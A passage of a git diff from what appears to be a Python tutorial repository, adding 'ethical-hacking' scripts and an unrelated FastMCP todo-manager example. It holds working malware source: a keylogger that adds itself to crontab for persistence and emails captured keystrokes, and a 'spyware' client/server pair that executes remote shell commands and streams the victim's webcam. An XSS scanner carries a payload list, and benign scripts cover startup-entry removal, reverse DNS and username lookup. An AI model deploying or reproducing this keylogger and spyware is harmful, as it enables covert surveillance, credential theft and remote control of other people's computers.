shutil.copyfile(sys.executable, filename) + # Add the keylogger to startup via crontab + crontab_line = f"@reboot {filename}" + os.system(f'(crontab -l; echo "{crontab_line}") | crontab -') + +# Run the setup_persistence function +setup_persistence() + +class Keylogger: + def __init__(self, interval, report_method="email"): + """Initialize the keylogger with the specified interval for sending reports and the method of reporting.""" + self.interval = interval + self.report_method = report_method + self.log = "" + self.start_dt = datetime.now() + self.end_dt = datetime.now() + + def callback(self, event): + """Handle a keyboard event by logging the keystroke.""" + name = event.name + if len(name) > 1: + if name == "space": + name = " " + elif name == "enter": + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + self.log += name + + def update_filename(self): + """Update the filename for the log file based on the current date and time.""" + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" + + def report_to_file(self): + """This method creates a log file in the specified directory that contains + the current keylogs in the `self.log` variable""" + os_type = platform.system() + if os_type == "Windows": + log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs') + elif os_type == "Linux": + log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs') + # create a directory for the logs + if not os.path.exists(log_dir): + os.makedirs(log_dir) + log_file = os.path.join(log_dir, f"{self.filename}.txt") + # write the logs to a file + with open(log_file, "w") as f: + print(self.log, file=f) + print(f"[+] Saved {log_file}") + + def prepare_mail(self, message): + """Prepare an email message with both text and HTML versions.""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + html = f"

{message}

" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): + """Send an email using SMTP with the logged keystrokes.""" + server = smtplib.SMTP(host="smtp.office365.com", port=587) + server.starttls() + server.login(email, password) + server.sendmail(email, email, self.prepare_mail(message)) + server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") + + def report(self): + """Report the captured keystrokes either by email or by saving to a file.""" + if self.log: + self.end_dt = datetime.now() + self.update_filename() + if self.report_method == "email": + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + elif self.report_method == "file": + self.report_to_file() + self.start_dt = datetime.now() + self.log = "" + timer = Timer(interval=self.interval, function=self.report) + timer.daemon = True + timer.start() + + def start(self): + """Start the keylogger.""" + self.start_dt = datetime.now() + keyboard.on_release(callback=self.callback) + self.report() + print(f"{datetime.now()} - Started keylogger") + keyboard.wait() + + +if __name__ == "__main__": + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") + keylogger.start() diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt new file mode 100644 index 00000000..c2539834 --- /dev/null +++ b/ethical-hacking/persistent-malware/requirements.txt @@ -0,0 +1 @@ +keyboard diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md new file mode 100644 index 00000000..6145b698 --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python) \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py new file mode 100644 index 00000000..88ba4f7e --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py @@ -0,0 +1,118 @@ +import os +import platform +import subprocess +import tempfile + +# Windows-specific imports +if platform.system() == "Windows": + import winreg + +# Get Windows start-up entries and display +def list_windows_startup_entries(): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run") + entries = [] + try: + i = 0 + while True: + entry_name, entry_value, entry_type = winreg.EnumValue(key, i) + entries.append((i + 1, entry_name, entry_value)) + i += 1 + except OSError: + pass + winreg.CloseKey(key) + return entries + +# Remove Windows start-up entries +def remove_windows_startup_entry(index, entries): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) + try: + entry_name, entry_value = entries[index - 1][1], entries[index - 1][2] + winreg.DeleteValue(key, entry_name) + print(f"[+] Entry {entry_name} has been removed successfully.") + + if os.path.isfile(entry_value): + os.remove(entry_value) + print(f"[+] File '{entry_value}' has been deleted successfully.") + else: + print(f"[-] File '{entry_value}' not found or unable to delete.") + except IndexError: + print("[-] Invalid entry index.") + except OSError as e: + print(f"[-] Error removing entry: {e}") + finally: + winreg.CloseKey(key) + +# Get the cron tab entries +def list_linux_crontab_entries(): + try: + output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip() + if output: + entries = output.split("\n") + return [(i + 1, entry) for i, entry in enumerate(entries)] + else: + return [] + except subprocess.CalledProcessError as e: + if "no crontab" in e.output.decode('utf-8'): + return [] + else: + raise + +def remove_linux_crontab_entry(index, entries): + try: + entry = entries[index - 1][1] + all_entries = [e[1] for e in entries if e[1] != entry] + + with tempfile.NamedTemporaryFile(delete=False) as tmp_file: + tmp_file.write("\n".join(all_entries).encode('utf-8')) + tmp_file.write(b"\n") + tmp_file_path = tmp_file.name + + subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT) + os.unlink(tmp_file_path) + print(f"[+] Entry '{entry}' has been removed successfully.") + except IndexError: + print("[-] Invalid entry index.") + except Exception as e: + print(f"[-] Error removing crontab entry: {e}") + +def main(): + os_name = platform.system() + if os_name == "Windows": + entries = list_windows_startup_entries() + if not entries: + print("[-] No startup entries found.") + else: + print("[+] Startup entries:") + for index, name, value in entries: + print(f"{index}. {name}: {value}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_windows_startup_entry(choice, entries) + else: + print("[-] Invalid choice.") + elif os_name == "Linux": + entries = list_linux_crontab_entries() + if not entries: + print("[-] No crontab entries found.") + else: + print("[+] Crontab entries:") + for index, entry in entries: + print(f"{index}. {entry}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_linux_crontab_entry(choice, entries) + else: + print("[-] Invalid choice.") + else: + print(f"[-] Unsupported operating system: {os_name}") + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md new file mode 100644 index 00000000..e2aa69a3 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/README.md @@ -0,0 +1 @@ +# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python) \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py new file mode 100644 index 00000000..449f79d0 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py @@ -0,0 +1,69 @@ +# Import the necessary libraries +import argparse +import ipaddress +import socket +import requests + +API_KEY = "Your-Api-Key-Here" # Replace with your ViewDNS API key + +# Function to Check if IP address is valid. +def is_valid_ip(ip): + + try: + ipaddress.ip_address(ip) + return True + except ValueError: + return False + + +# Perform reverse look up. +def reverse_lookup(ip): + try: + domain = socket.gethostbyaddr(ip)[0] + return domain + except socket.herror: + return None + + +# Get websites on same server. +def get_websites_on_server(ip): + url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json" + response = requests.get(url) + if response.status_code == 200: + data = response.json() + if "response" in data and "domains" in data["response"]: + websites = data["response"]["domains"] + return websites + return [] + + +# Get user arguments and execute. +def main(): + parser = argparse.ArgumentParser(description="Perform IP reverse lookup.") + parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.") + parser.add_argument("--all", "-a", action="https://github.com/store_true", help="Print all other websites on the same server.") + args = parser.parse_args() + + for ip in args.ips: + if not is_valid_ip(ip): + print(f"[-] Invalid IP address: {ip}") + continue + + domain = reverse_lookup(ip) + if domain: + print(f"[+] IP: {ip}, Domain: {domain}") + if args.all: + websites = get_websites_on_server(ip) + if websites: + print("\nOther websites on the same server:") + for website in websites: + print(f"[+] {website}") + print('\n') + else: + print("[-] No other websites found on the same server.") + else: + print(f"[-] No domain found for IP: {ip}") + + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/spyware/README.md b/ethical-hacking/spyware/README.md new file mode 100644 index 00000000..9c2520c9 --- /dev/null +++ b/ethical-hacking/spyware/README.md @@ -0,0 +1 @@ +# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python) \ No newline at end of file diff --git a/ethical-hacking/spyware/client.py b/ethical-hacking/spyware/client.py new file mode 100644 index 00000000..d36eca07 --- /dev/null +++ b/ethical-hacking/spyware/client.py @@ -0,0 +1,64 @@ +import socket # For network (client-server) communication. +import os # For handling os executions. +import subprocess # For executing system commands. +import cv2 # For recording the video. +import threading # For recording the video in a different thread. +import platform # We use this to get the os of the target (client). + +SERVER_HOST = "127.0.0.1" # Server's IP address +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this. + +# Separator string for sending 2 messages at a time. +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Connect to the server. +s.connect((SERVER_HOST, SERVER_PORT)) + +# Get the current directory and os and send it to the server. +cwd = os.getcwd() +targets_os = platform.system() +s.send(cwd.encode()) +s.send(targets_os.encode()) + +# Function to record and send the video. +def record_video(): + global cap + cap = cv2.VideoCapture(0) + while True: + ret, frame = cap.read() + if not ret: + break + _, frame_bytes = cv2.imencode('.jpg', frame) + frame_size = len(frame_bytes) + s.sendall(frame_size.to_bytes(4, byteorder='little')) + s.sendall(frame_bytes) + cap.release() + cv2.destroyAllWindows() + +while True: + # receive the command from the server. + command = s.recv(BUFFER_SIZE).decode() + splited_command = command.split() + if command.lower() == "exit": + # if the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # execute the command and retrieve the results. + output = subprocess.getoutput(command) + # get the current working directory as output. + cwd = os.getcwd() + # send the results back to the server. + message = f"{output}{SEPARATOR}{cwd}" + s.send(message.encode()) + +# close client connection. +s.close() \ No newline at end of file diff --git a/ethical-hacking/spyware/requirements.txt b/ethical-hacking/spyware/requirements.txt new file mode 100644 index 00000000..fc4586c8 --- /dev/null +++ b/ethical-hacking/spyware/requirements.txt @@ -0,0 +1,2 @@ +numpy +opencv-python \ No newline at end of file diff --git a/ethical-hacking/spyware/server_side.py b/ethical-hacking/spyware/server_side.py new file mode 100644 index 00000000..219e2319 --- /dev/null +++ b/ethical-hacking/spyware/server_side.py @@ -0,0 +1,115 @@ +import socket # For network (client-server) communication. +import cv2 # For video recording. +import signal # For handling the ctrl+c command when exiting the program. +import threading # For running the video recording in a seperate thread. +import numpy as np # For working with video frames. + + +# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces. +# or if you want to test it locally, use 127.0.0.1 +SERVER_HOST = "127.0.0.1" +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages. You can adjust this to your taste + +# Separator string for sending 2 messages at a time +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Bind the socket to all IP addresses of this host. +s.bind((SERVER_HOST, SERVER_PORT)) +# Make the PORT reusable +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +# Set maximum number of queued connections to 5. +s.listen(5) +print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...") + +# Accept any connections attempted. +client_socket, client_address = s.accept() +print(f"{client_address[0]}:{client_address[1]} Connected!") + +# Receive the current working directory and os of the target (client). +cwd = client_socket.recv(BUFFER_SIZE).decode() +targets_os = client_socket.recv(BUFFER_SIZE).decode() + +# Print the info received. +print("[+] Current working directory: ", cwd) +print("[+] Target's Operating system: ", targets_os) + +# Set up the video capture and writer. +cap = None +out = None +recording_thread = None + +# Function to handle Ctrl+C signal. +def signal_handler(sig, frame): + print('Saving video and exiting...') + if recording_thread is not None: + recording_thread.join() + if cap is not None and out is not None: + cap.release() + out.release() + cv2.destroyAllWindows() + client_socket.close() + s.close() + exit(0) + +# Set up the signal handler. +signal.signal(signal.SIGINT, signal_handler) + +# Function to record and display the video. +def record_video(): + global out + fourcc = cv2.VideoWriter_fourcc(*'mp4v') + out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480)) + while True: + # Receive the frame size. + frame_size = int.from_bytes(client_socket.recv(4), byteorder='little') + # Receive the frame data. + frame_data = b'' + while len(frame_data) < frame_size: + packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data))) + if not packet: + break + frame_data += packet + if not frame_data: + break + # Decode the frame. + frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR) + # Write the frame to the video file. + out.write(frame) + # Display the frame. + cv2.imshow('Remote Camera Feed', frame) + if cv2.waitKey(1) & 0xFF == ord('q'): + break + out.release() + client_socket.close() + cv2.destroyAllWindows() +while True: + # Get the command from the user. + command = input(f"{cwd} $> ") + if not command.strip(): + # Empty command. + continue + # Send the command to the client. + client_socket.send(command.encode()) + if command.lower() == "exit": + # If the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread. + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # Receive the results from the client. + output = client_socket.recv(BUFFER_SIZE).decode() + results, cwd = output.split(SEPARATOR) + print(results) + +# Close the connection to the client and server. +if recording_thread is not None: + recording_thread.join() +client_socket.close() +s.close() \ No newline at end of file diff --git a/ethical-hacking/username-finder/README.md b/ethical-hacking/username-finder/README.md new file mode 100644 index 00000000..8b0ad5a5 --- /dev/null +++ b/ethical-hacking/username-finder/README.md @@ -0,0 +1 @@ +# [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python) \ No newline at end of file diff --git a/ethical-hacking/username-finder/requirements.txt b/ethical-hacking/username-finder/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/username-finder/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/username-finder/username_finder.py b/ethical-hacking/username-finder/username_finder.py new file mode 100644 index 00000000..8b34f39a --- /dev/null +++ b/ethical-hacking/username-finder/username_finder.py @@ -0,0 +1,108 @@ +# Import necessary libraries +import requests # For making HTTP requests +import argparse # For parsing command line arguments +import concurrent.futures # For concurrent execution +from collections import OrderedDict # For maintaining order of websites +from colorama import init, Fore # For colored terminal output +import time # For handling time-related tasks +import random # For generating random numbers + +# Initialize colorama for colored output. +init() + +# Ordered dictionary of websites to check for a given username. +WEBSITES = OrderedDict([ + ("Instagram", "https://www.instagram.com/%7B%7D"), + ("Facebook", "https://www.facebook.com/%7B%7D"), + ("YouTube", "https://www.youtube.com/user/%7B%7D"), + ("Reddit", "https://www.reddit.com/user/%7B%7D"), + ("GitHub", "https://github.com/%7B%7D"), + ("Twitch", "https://www.twitch.tv/%7B%7D"), + ("Pinterest", "https://www.pinterest.com/%7B%7D/"), + ("TikTok", "https://www.tiktok.com/@%7B%7D"), + ("Flickr", "https://www.flickr.com/photos/%7B%7D") +]) + +REQUEST_DELAY = 2 # Delay in seconds between requests to the same website +MAX_RETRIES = 3 # Maximum number of retries for a failed request +last_request_times = {} # Dictionary to track the last request time for each website + +def check_username(website, username): + """ + Check if the username exists on the given website. + Returns the full URL if the username exists, False otherwise. + """ + url = website.format(username) # Format the URL with the given username + retries = 0 # Initialize retry counter + + # Retry loop + while retries < MAX_RETRIES: + try: + # Implement rate limiting. + current_time = time.time() + if website in last_request_times and current_time - last_request_times[website] < REQUEST_DELAY: + delay = REQUEST_DELAY - (current_time - last_request_times[website]) + time.sleep(delay) # Sleep to maintain the request delay. + + response = requests.get(url) # Make the HTTP request + last_request_times[website] = time.time() # Update the last request time. + + if response.status_code == 200: # Check if the request was successful. + return url + else: + return False + except requests.exceptions.RequestException: + retries += 1 # Increment retry counter on exception. + delay = random.uniform(1, 3) # Random delay between retries. + time.sleep(delay) # Sleep for the delay period. + + return False # Return False if all retries failed. + +def main(): + # Parse command line arguments. + parser = argparse.ArgumentParser(description="Check if a username exists on various websites.") + parser.add_argument("username", help="The username to check.") + parser.add_argument("-o", "--output", help="Path to save the results to a file.") + args = parser.parse_args() + + username = args.username # Username to check. + output_file = args.output # Output file path. + + print(f"Checking for username: {username}") + + results = OrderedDict() # Dictionary to store results. + + # Use ThreadPoolExecutor for concurrent execution. + with concurrent.futures.ThreadPoolExecutor() as executor: + # Submit tasks to the executor. + futures = {executor.submit(check_username, website, username): website_name for website_name, website in WEBSITES.items()} + for future in concurrent.futures.as_completed(futures): + website_name = futures[future] # Get the website name. + try: + result = future.result() # Get the result. + except Exception as exc: + print(f"{website_name} generated an exception: {exc}") + result = False + finally: + results[website_name] = result # Store the result. + + # Print the results. + print("\nResults:") + for website, result in results.items(): + if result: + print(f"{Fore.GREEN}{website}: Found ({result})") + else: + print(f"{Fore.RED}{website}: Not Found") + + # Save results to a file if specified. + if output_file: + with open(output_file, "w") as f: + for website, result in results.items(): + if result: + f.write(f"{website}: Found ({result})\n") + else: + f.write(f"{website}: Not Found\n") + print(f"{Fore.GREEN}\nResults saved to {output_file}") + +# Call the main function +main() diff --git a/ethical-hacking/xss-vulnerability-scanner/requirements.txt b/ethical-hacking/xss-vulnerability-scanner/requirements.txt index 1f311f5c..20355cca 100644 --- a/ethical-hacking/xss-vulnerability-scanner/requirements.txt +++ b/ethical-hacking/xss-vulnerability-scanner/requirements.txt @@ -1,2 +1,3 @@ requests -bs4 \ No newline at end of file +bs4 +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py new file mode 100644 index 00000000..104615d8 --- /dev/null +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py @@ -0,0 +1,203 @@ +import requests # Importing requests library for making HTTP requests +from pprint import pprint # Importing pprint for pretty-printing data structures +from bs4 import BeautifulSoup as bs # Importing BeautifulSoup for HTML parsing +from urllib.parse import urljoin, urlparse # Importing utilities for URL manipulation +from urllib.robotparser import RobotFileParser # Importing RobotFileParser for parsing robots.txt files +from colorama import Fore, Style # Importing colorama for colored terminal output +import argparse # Importing argparse for command-line argument parsing + +# List of XSS payloads to test forms with +XSS_PAYLOADS = [ + '">', + '\'>', + '', + '">', + '\'>', + "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//-->", + "", + "", +] +# global variable to store all crawled links +crawled_links = set() + +def print_crawled_links(): + """ + Print all crawled links + """ + print(f"\n[+] Links crawled:") + for link in crawled_links: + print(f" {link}") + print() + + +# Function to get all forms from a given URL +def get_all_forms(url): + """Given a `url`, it returns all forms from the HTML content""" + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all form elements in the HTML + return soup.find_all("form") + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving forms + print(f"[-] Error retrieving forms from {url}: {e}") + return [] + +# Function to extract details of a form +def get_form_details(form): + """ + This function extracts all possible useful information about an HTML `form` + """ + details = {} + # Extracting form action and method + action = form.attrs.get("action", "").lower() + method = form.attrs.get("method", "get").lower() + inputs = [] + # Extracting input details within the form + for input_tag in form.find_all("input"): + input_type = input_tag.attrs.get("type", "text") + input_name = input_tag.attrs.get("name") + inputs.append({"type": input_type, "name": input_name}) + # Storing form details in a dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + +# Function to submit a form with a specific value +def submit_form(form_details, url, value): + """ + Submits a form given in `form_details` + Params: + form_details (list): a dictionary that contains form information + url (str): the original URL that contains that form + value (str): this will be replaced for all text and search inputs + Returns the HTTP Response after form submission + """ + target_url = urljoin(url, form_details["action"]) # Constructing the absolute form action URL + inputs = form_details["inputs"] + data = {} + # Filling form inputs with the provided value + for input in inputs: + if input["type"] == "text" or input["type"] == "search": + input["value"] = value + input_name = input.get("name") + input_value = input.get("value") + if input_name and input_value: + data[input_name] = input_value + try: + # Making the HTTP request based on the form method (POST or GET) + if form_details["method"] == "post": + return requests.post(target_url, data=data) + else: + return requests.get(target_url, params=data) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in form submission + print(f"[-] Error submitting form to {target_url}: {e}") + return None + + +def get_all_links(url): + """ + Given a `url`, it returns all links from the HTML content + """ + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all anchor elements in the HTML + return [urljoin(url, link.get("href")) for link in soup.find_all("a")] + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving links + print(f"[-] Error retrieving links from {url}: {e}") + return [] + + +# Function to scan for XSS vulnerabilities +def scan_xss(args, scanned_urls=None): + """Given a `url`, it prints all XSS vulnerable forms and + returns True if any is vulnerable, None if already scanned, False otherwise""" + global crawled_links + if scanned_urls is None: + scanned_urls = set() + # Checking if the URL is already scanned + if args.url in scanned_urls: + return + # Adding the URL to the scanned URLs set + scanned_urls.add(args.url) + # Getting all forms from the given URL + forms = get_all_forms(args.url) + print(f"\n[+] Detected {len(forms)} forms on {args.url}") + # Parsing the URL to get the domain + parsed_url = urlparse(args.url) + domain = f"{parsed_url.scheme}://{parsed_url.netloc}" + if args.obey_robots: + robot_parser = RobotFileParser() + robot_parser.set_url(https://github.com/urljoin(domain,%20%22/robots.txt")) + try: + robot_parser.read() + except Exception as e: + # Handling exceptions if there's an error in reading robots.txt + print(f"[-] Error reading robots.txt file for {domain}: {e}") + crawl_allowed = False + else: + crawl_allowed = robot_parser.can_fetch("https://github.com/*", args.url) + else: + crawl_allowed = True + if crawl_allowed or parsed_url.path: + for form in forms: + form_details = get_form_details(form) + form_vulnerable = False + # Testing each form with XSS payloads + for payload in XSS_PAYLOADS: + response = submit_form(form_details, args.url, payload) + if response and payload in response.content.decode(): + print(f"\n{Fore.GREEN}[+] XSS Vulnerability Detected on {args.url}{Style.RESET_ALL}") + print(f"[*] Form Details:") + pprint(form_details) + print(f"{Fore.YELLOW}[*] Payload: {payload} {Style.RESET_ALL}") + # save to a file if output file is provided + if args.output: + with open(args.output, "a") as f: + f.write(f"URL: {args.url}\n") + f.write(f"Form Details: {form_details}\n") + f.write(f"Payload: {payload}\n") + f.write("-"*50 + "\n\n") + form_vulnerable = True + break # No need to try other payloads for this endpoint + if not form_vulnerable: + print(f"{Fore.MAGENTA}[-] No XSS vulnerability found on {args.url}{Style.RESET_ALL}") + # Crawl links if the option is enabled + if args.crawl: + print(f"\n[+] Crawling links from {args.url}") + try: + # Crawling links from the given URL + links = get_all_links(args.url) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in crawling links + print(f"[-] Error crawling links from {args.url}: {e}") + links = [] + for link in set(links): # Removing duplicates + if link.startswith(domain): + crawled_links.add(link) + if args.max_links and len(crawled_links) >= args.max_links: + print(f"{Fore.CYAN}[-] Maximum links ({args.max_links}) limit reached. Exiting...{Style.RESET_ALL}") + print_crawled_links() + exit(0) + # Recursively scanning XSS vulnerabilities for crawled links + args.url = link + link_vulnerable = scan_xss(args, scanned_urls) + if not link_vulnerable: + continue + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Extended XSS Vulnerability scanner script.") + parser.add_argument("url", help="URL to scan for XSS vulnerabilities") + parser.add_argument("-c", "--crawl", action="https://github.com/store_true", help="Crawl links from the given URL") + # max visited links + parser.add_argument("-m", "--max-links", type=int, default=0, help="Maximum number of links to visit. Default 0, which means no limit.") + parser.add_argument("--obey-robots", action="https://github.com/store_true", help="Obey robots.txt rules") + parser.add_argument("-o", "--output", help="Output file to save the results") + args = parser.parse_args() + scan_xss(args) # Initiating XSS vulnerability scan + + print_crawled_links() diff --git a/general/fastmcp-mcp-client-server-todo-manager/README.md b/general/fastmcp-mcp-client-server-todo-manager/README.md new file mode 100644 index 00000000..dd988428 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/README.md @@ -0,0 +1,39 @@ +# Build a real MCP client and server in Python with FastMCP (Todo Manager example) + +This folder contains the code that accompanies the article: + +- Article: https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager + +What’s included +- `todo_server.py`: FastMCP MCP server exposing tools, resources, and a prompt for a Todo Manager. +- `todo_client_test.py`: A small client script that connects to the server and exercises all features. +- `requirements.txt`: Python dependencies for this tutorial. + +Quick start +1) Install requirements +```bash +python -m venv .venv && source .venv/bin/activate # or use your preferred env manager +pip install -r requirements.txt +``` + +2) Run the server (stdio transport by default) +```bash +python todo_server.py +``` + +3) In a separate terminal, run the client +```bash +python todo_client_test.py +``` + +Optional: run the server over HTTP +- In `todo_server.py`, replace the last line with: +```python +mcp.run(transport="http", host="127.0.0.1", port=8000) +``` +- Then change the client constructor to `Client("http://127.0.0.1:8000/mcp")`. + +Notes +- Requires Python 3.10+. +- The example uses in-memory storage for simplicity. +- For production tips (HTTPS, auth, containerization), see the article. diff --git a/general/fastmcp-mcp-client-server-todo-manager/requirements.txt b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt new file mode 100644 index 00000000..2c9387f7 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt @@ -0,0 +1 @@ +fastmcp>=2.12 \ No newline at end of file diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py new file mode 100644 index 00000000..f01a1e78 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py @@ -0,0 +1,50 @@ +import asyncio +from fastmcp import Client + +async def main(): + # Option A: Connect to local Python script (stdio) + client = Client("todo_server.py") + + # Option B: In-memory (for tests) + # from todo_server import mcp + # client = Client(mcp) + + async with client: + await client.ping() + print("[OK] Connected") + + # Create a few todos + t1 = await client.call_tool("create_todo", {"title": "Write README", "priority": "high"}) + t2 = await client.call_tool("create_todo", {"title": "Refactor utils", "description": "Split helpers into modules"}) + t3 = await client.call_tool("create_todo", {"title": "Add tests", "priority": "low"}) + print("Created IDs:", t1.data["id"], t2.data["id"], t3.data["id"]) + + # List open + open_list = await client.call_tool("list_todos", {"status": "open"}) + print("Open IDs:", [t["id"] for t in open_list.data["items"]]) + + # Complete one + updated = await client.call_tool("complete_todo", {"todo_id": t2.data["id"]}) + print("Completed:", updated.data["id"], "status:", updated.data["status"]) + + # Search + found = await client.call_tool("search_todos", {"query": "readme"}) + print("Search 'readme':", [t["id"] for t in found.data["items"]]) + + # Resources + stats = await client.read_resource("stats://todos") + print("Stats:", getattr(stats[0], "text", None) or stats[0]) + + todo2 = await client.read_resource(f"todo://{t2.data['id']}") + print("todo://{id}:", getattr(todo2[0], "text", None) or todo2[0]) + + # Prompt + prompt_msgs = await client.get_prompt("suggest_next_action", {"pending": 2, "project": "MCP tutorial"}) + msgs_pretty = [ + {"role": m.role, "content": getattr(m, "content", None) or getattr(m, "text", None)} + for m in getattr(prompt_msgs, "messages", []) + ] + print("Prompt messages:", msgs_pretty) + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_server.py b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py new file mode 100644 index 00000000..64f99b73 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py @@ -0,0 +1,88 @@ +from typing import Literal +from itertools import count +from datetime import datetime, timezone +from fastmcp import FastMCP + +# In-memory storage for demo purposes +TODOS: list[dict] = [] +_id = count(start=1) + +mcp = FastMCP(name="Todo Manager") + +@mcp.tool +def create_todo( + title: str, + description: str = "", + priority: Literal["low", "medium", "high"] = "medium", +) -> dict: + """Create a todo (id, title, status, priority, timestamps).""" + todo = { + "id": next(_id), + "title": title, + "description": description, + "priority": priority, + "status": "open", + "created_at": datetime.now(timezone.utc).isoformat(), + "completed_at": None, + } + TODOS.append(todo) + return todo + +@mcp.tool +def list_todos(status: Literal["open", "done", "all"] = "open") -> dict: + """List todos by status ('open' | 'done' | 'all').""" + if status == "all": + items = TODOS + elif status == "open": + items = [t for t in TODOS if t["status"] == "open"] + else: + items = [t for t in TODOS if t["status"] == "done"] + return {"items": items} + +@mcp.tool +def complete_todo(todo_id: int) -> dict: + """Mark a todo as done.""" + for t in TODOS: + if t["id"] == todo_id: + t["status"] = "done" + t["completed_at"] = datetime.now(timezone.utc).isoformat() + return t + raise ValueError(f"Todo {todo_id} not found") + +@mcp.tool +def search_todos(query: str) -> dict: + """Case-insensitive search in title/description.""" + q = query.lower().strip() + items = [t for t in TODOS if q in t["title"].lower() or q in t["description"].lower()] + return {"items": items} + +# Read-only resources +@mcp.resource("stats://todos") +def todo_stats() -> dict: + """Aggregated stats: total, open, done.""" + total = len(TODOS) + open_count = sum(1 for t in TODOS if t["status"] 